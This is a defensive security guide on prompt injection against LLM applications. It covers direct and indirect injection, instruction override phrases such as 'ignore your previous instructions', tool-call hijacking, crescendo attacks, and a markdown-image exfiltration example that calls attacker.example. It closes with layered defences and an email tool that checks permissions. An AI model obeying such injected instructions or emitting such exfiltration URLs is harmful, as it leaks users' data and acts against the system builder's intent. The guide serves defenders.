Prompt Injection: Attacks and Defences for LLM Apps

Prompt injection is the attack where text an LLM reads changes what the LLM does, against the intent of the person who built the system. It sits at the top of the OWASP list as LLM01 for a reason: every application that puts untrusted text in front of a model is exposed to it, and there is no patch. This guide explains how prompt injection attacks actually work, which patterns show up in real assessments, why filters on their own keep failing, and how to build a layered defence that limits the damage when an injection succeeds.

What prompt injection is

A large language model receives one stream of tokens. Your system prompt, the user's message, a retrieved document, a web page and the JSON returned by a tool are all concatenated into that stream. The model was trained to follow instructions wherever they appear, and it has no hardware-enforced notion of which tokens are "commands" and which are "content". Prompt injection exploits exactly that gap.

The comparison to SQL injection is useful but incomplete. SQL injection was solved with parameterised queries, which give the database a separate channel for data. LLMs have no equivalent. Delimiters, XML tags and "the following is untrusted" warnings are conventions the model usually respects, not a channel it is forced to respect. That is why prompt injection is a structural property of the architecture rather than an implementation bug, a point I make in more detail in the AI security guide.

Direct prompt injection

Direct injection comes from the person typing into the interface. Classic examples are "ignore your previous instructions", role-play framing, fake system messages and attempts to extract the system prompt. It matters when the user is not supposed to have the capabilities the model has, for example a public chatbot wired to an internal API, or when the system prompt contains secrets it should never have contained in the first place.

Indirect prompt injection

Indirect prompt injection is the dangerous one. The payload arrives inside content the system fetches on the user's behalf: an email the assistant summarises, a PDF uploaded for analysis, a web page an agent browses, a support ticket, a code comment, a calendar invite, a product review. The attacker never talks to your system directly. They plant text where your system will read it, and then borrow the privileges of whichever legitimate user's session processes it. The OWASP LLM01 entry defines both forms and is worth reading in full.

Real prompt injection attack patterns

When I (Sheikh Mujtaba) red-team an LLM application, whether in an ethical red-teaming engagement or a client assessment, the same handful of patterns account for most findings. None of them is exotic.

Instruction override

The payload simply tells the model to do something else: change persona, drop restrictions, reveal configuration, or answer a question outside scope. Modern models resist the crude versions, but variants that pose as a developer, a test harness or an updated policy still land surprisingly often, especially in smaller or older models.

Payloads in retrieved content

Instructions hidden in documents, emails and web pages. Attackers hide them with white-on-white text, HTML comments, zero-width characters, tiny fonts, image ALT text, PDF layers or metadata fields. A human reviewer sees a normal document; the model sees an extra paragraph addressed to it. Any RAG system that indexes content from outside a trusted boundary is exposed to this.

Data exfiltration through rendered markdown

If the chat interface renders markdown images, an injected instruction can ask the model to emit an image whose URL contains data from the conversation, such as ![](https://attacker.example/log?q=<summary of the chat>). The browser fetches the image automatically and the data leaves without anyone clicking. Clickable links carry the same risk with one extra step. This pattern has been demonstrated against several commercial assistants, and it is why output rendering is a security control and not a cosmetic choice.

Tool-call hijacking

In agentic systems the payload asks the model to call a tool: send an email, create a pull request, issue a refund, fetch a URL, delete a record. If the tool executes with the service's privileges rather than the user's, the attacker has turned your agent into a confused deputy. This is the pattern that turns a curiosity into an incident, and it is the focus of AI agent security.

Multi-turn and crescendo attacks

Instead of one obvious payload, the attacker builds context over several turns, each harmless in isolation, until the model is primed to comply. Multi-turn escalation of this kind is sometimes called a crescendo attack. Single-message classifiers miss it because no single message looks malicious.

Encoding and obfuscation

Base64, ROT13, leetspeak, homoglyphs, payloads split across fields, instructions in another language, or text embedded in images for multimodal models. The model can often decode what a keyword filter cannot see.

Why filters alone fail

The instinctive response to prompt injection is a filter: block phrases like "ignore previous instructions", or put a classifier in front of the model. Both are worth having, and both fail as a boundary, for three reasons.

1. The input space is unbounded. Any instruction can be rephrased, translated, encoded or spread across turns. A blocklist covers the attacks you have already seen.
2. Classifiers are models too. A detection model can be evaded the same way the target model can be persuaded. Its accuracy on a benchmark says little about an attacker who iterates against it.
3. Legitimate content looks like attacks. A security team's documentation, a phishing-awareness email or a support ticket quoting an error message all contain instruction-like text. Tune the filter tight enough to catch everything and you break the product.

So treat detection as a way to raise the attacker's cost and generate signals for monitoring. The controls that actually hold are the ones that work even when detection misses.

How to prevent prompt injection: a layered defence

Strictly speaking you cannot prevent prompt injection; you prevent it from mattering. The defence below is ordered from most to least important.

1. Privilege separation

Give the model only the capabilities the current user is entitled to, and execute every tool call with that user's credentials so the downstream system enforces access. A model that reads untrusted content should hold as few tools as possible. The design test is simple: if the least trustworthy author of any content this model might read could make it call this tool, what is the worst outcome?

2. Treat tool and retrieval output as data

Wrap retrieved content in clear delimiters, label it as untrusted, and tell the model not to act on instructions inside it. This is a weak control on its own but cheap and measurably helpful in combination. More importantly, make the surrounding code treat that content as data: never let a value from a fetched page become a tool argument such as a recipient address or a URL without validation against an allow-list.

3. Structured outputs

When the model's job is classification or extraction, force it to return a constrained schema rather than free text: an enum, a boolean, a validated object. An injected instruction has far less room to do harm when the only possible outputs are "refund" | "escalate" | "close". Validate the result in code before using it; the LLM guardrails guide covers schema enforcement in detail.

4. Output encoding

Treat model output like any untrusted string. Encode it for the context it lands in, never render raw HTML, allow-list markdown features and image domains, and never pass it to SQL, shell or eval. OWASP lists this separately as LLM05 Improper Output Handling, and it is the control that closes the markdown exfiltration channel.

5. Human approval for high-impact actions

Anything irreversible or externally visible, such as payments, deletions, outbound messages and deployments, should pause for a human who sees exactly what will happen. In the AI employee system I built, nine orchestrated services share one rule: actions with real-world effects go through a human-in-the-loop approval queue. It costs some convenience and removes a whole class of incident.

6. The dual-LLM (quarantined LLM) pattern

Simon Willison's Dual LLM pattern splits the system into a privileged LLM that takes instructions from the user and can call tools, and a quarantined LLM that processes untrusted content but has no tools. Ordinary code, the controller, passes untrusted results around as opaque variable references, so the privileged model never sees the raw content. It is more work to build, it does not stop social engineering of the user, and Willison himself notes later research found weaknesses and proposed more developed designs, but the principle is sound: the component that reads attacker-controlled text should not be the component that can act.

7. Monitoring and response

Log every prompt, retrieval, tool call and output with a trace ID and the acting user. Alert on unexpected tool sequences, authorisation denials, outputs containing external URLs, and sudden changes in refusal rate. Keep a kill switch that disables a tool without a deploy. When a novel injection gets through, the trace is how you understand it and the regression test is how you make sure it stays fixed.

Example: a permission check at the tool boundary

The single most valuable control fits in a few lines. The tool below sends email on behalf of an assistant that also reads untrusted inbox content. The model can ask for anything; the code decides what actually happens.

import { z } from "zod";

const SendEmailArgs = z.object({
  to: z.string().email(),
  subject: z.string().max(200),
  body: z.string().max(5_000),
});

type Session = { userId: string; tenantId: string };

export async function sendEmailTool(raw: unknown, session: Session) {
  // 1. Validate shape. Malformed or oversized arguments never reach the mailer.
  const parsed = SendEmailArgs.safeParse(raw);
  if (!parsed.success) return { error: "invalid_arguments" };
  const { to, subject, body } = parsed.data;

  // 2. Authorise against the real user, not anything the model claims.
  const allowed = await contacts.isKnownRecipient(session.tenantId, to);

  // 3. Block the exfiltration shape: links to domains outside the allow-list.
  const urls = body.match(/https?:\/\/[^\s)]+/g) ?? [];
  const offDomain = urls.some((u) => !isAllowedDomain(new URL(u).hostname));

  // 4. Anything unusual is queued for a human instead of executed.
  if (!allowed || offDomain) {
    const approval = await approvals.create({
      kind: "send_email",
      args: { to, subject, body },
      requestedBy: session.userId,
      reason: !allowed ? "unknown_recipient" : "external_link",
    });
    return { status: "pending_approval", approvalId: approval.id };
  }

  await audit.log({ tool: "send_email", userId: session.userId, to });
  return mailer.send({ from: session.userId, to, subject, body });
}

Notice what is missing: no attempt to judge whether the model was "tricked". The check does not care why the model asked. It asks whether this user may send this email to this recipient with this content, which is a question code can answer deterministically.

Testing for prompt injection

Prompt injection testing belongs in two places. Before launch, run a structured assessment: map every channel that can put text in front of the model, plant payloads in each, and check whether any tool fires, any data leaves or any output renders unsafely. After launch, keep those payloads as a regression suite in CI and run it on every prompt, model or tool change. The assertion that matters is not "did the model refuse" but "did anything privileged happen". The full method is in the AI red teaming guide, and the OWASP Top 10 for LLM applications is a good map of what else to cover alongside it.

Key takeaways

• Prompt injection is structural: instructions and data share one channel, so there is no complete fix.
• Indirect prompt injection through emails, documents and web pages is the realistic, high-impact threat.
• Filters and classifiers raise attacker cost and feed monitoring, but they are not a boundary.
• Authorise every tool call in code with the end user's identity, and gate high-impact actions behind human approval.
• Constrain outputs with schemas and encode them for their destination to close exfiltration channels.
• Keep a prompt injection regression suite in CI and assert on actions, not on refusals.